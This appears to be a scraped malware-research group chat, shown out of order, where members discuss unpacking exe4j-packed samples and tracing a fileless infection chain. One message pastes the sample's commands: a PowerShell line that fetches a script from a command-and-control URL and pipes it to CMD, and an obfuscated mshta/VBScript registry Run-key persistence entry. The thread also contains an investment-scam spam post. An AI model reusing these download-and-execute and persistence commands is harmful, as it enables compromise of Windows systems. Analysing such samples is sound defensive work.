Malware Research

05 Sep 2024 20:20

"I was able to analyze the part where it downloads and compiles C# code, but I couldn't manage the part after that."

Malware Research

05 Sep 2024 20:18

Without which you can't analyze further?

Malware Research

05 Sep 2024 20:17

All starts with first one,

Malware Research

05 Sep 2024 20:15

I can’t paste it to here bot deleting it ))

Malware Research

05 Sep 2024 20:14

Can’t get things which is c# want download from c2

Malware Research

05 Sep 2024 20:12

But that's just the beginning. After understanding it, what is it that you want to do with the information is the next question...

You can research into a lot of things, but that path should lead to something that you want?

Malware Research

05 Sep 2024 20:10

May be it will be useful for you

Malware Research

05 Sep 2024 20:08

@usrnm013

Malware Research

05 Sep 2024 19:00

Anyone can help for research? Fileless attack?

Malware Research

05 Sep 2024 15:01

Give this a shot, also try to just straight up 7z the pe.

Malware Research

05 Sep 2024 12:29

Hi Researcher , can unpack malware whose use exe4j to pack itself?

Malware Research

04 Sep 2024 09:20

As a platform i would suggest Google, as a roadmap i suggest the pinned message, for exploits or data leak i suggest getting employed by NSA

Malware Research

04 Sep 2024 04:50

l just want to say I'm really enjoying being
part of your investment platform passively
income every week
/channel/+9lrfRO1a5lVjZDQ0

Malware Research

02 Sep 2024 13:43

User onionMan has 1/3 warnings; be careful!
Reason:
check @dfirjobs ibstead

Malware Research

02 Sep 2024 05:10

Hello @Bogi05, welcome to the Malware Research group! Please read the pinned message before you post!

Malware Research

05 Sep 2024 20:18

Want detect behavior this malware

Malware Research

05 Sep 2024 20:18

So you need the PowerShell script?

Malware Research

05 Sep 2024 20:15

Sam:
All starts with this commands
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (&NeW-oBjeCt NEt.webClIeNT).doWnLoaDstRInG('[httP://]sToRKa.sTORe/Ps/06fCC253-fD2C-5a52-6f46-a0B42e64251c')|CMd

Command line: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "_06fcc253fd2c5a526f46a0b42e64251c" /t REG_SZ /F /D "mShta VbscRiPt:closE(execUTe(\"cr\"+\"eAt\"+\"eO\"+\"Bj\"+\"ect\"+\"(\"\"\"+\"WS\"+\"CRI\"+\"pt\"+\".Sh\"+\"ELl\"+\"\"\").\"+\"Run\"+\" \"\"\"+\"%_\"+\"06\"+\"FC\"+\"C25\"+\"3F\"+\"D2\"+\"C5\"+\"a5\"+\"26\"+\"F4\"+\"6a\"+\"0B4\"+\"2e\"+\"642\"+\"51c\"+\"%\"\",\"+\"0\"))"

Malware Research

05 Sep 2024 20:14

I still don't get where the question is leading to

So you want a sample? Or know what kind of malware exhibits this behaviour? Or if you can detect such behaviour?

Malware Research

05 Sep 2024 20:12

All starts with one script , it’s connect to c2 server gets powershell scripts then runing it, then downloads another c# code , doing compail then c# code starts downloading another tool, I need research this malware

Malware Research

05 Sep 2024 20:10

I think if you input that into Google, you are going to get tons of definitions and common execution methods

Malware Research

05 Sep 2024 20:09

What do you need help on or interested in?

Malware Research

05 Sep 2024 19:02

No... I don't understand, and Google isn't helping

Malware Research

05 Sep 2024 18:31

Hello @nguyen_duyhung, welcome to the Malware Research group! Please read the pinned message before you post!

Malware Research

05 Sep 2024 15:01

GitHub.com/struppigel/Exe4jconfigextractor

Malware Research

04 Sep 2024 19:20

New FedBan
Fed: Libra's Empire
FedAdmin: ❤🦦
User: Александр
User ID: 1351806164
Reason: scam

Malware Research

04 Sep 2024 09:16

Hello everyone, can someone tell me how to create a strong basic on malwares? Which platforms I should us to research and what should be my roadmap? Also in which channels I can get the exploits or imidiate data leak news?

Malware Research

03 Sep 2024 10:47

Reported to admins.​​​​​​​

Malware Research

02 Sep 2024 05:11

hi guys , i am new here so just wanted to introduce myself😊

Malware Research

31 Aug 2024 07:21

Yes, but I don't have an enterprise and not enough information to write stigma rules. Thanks.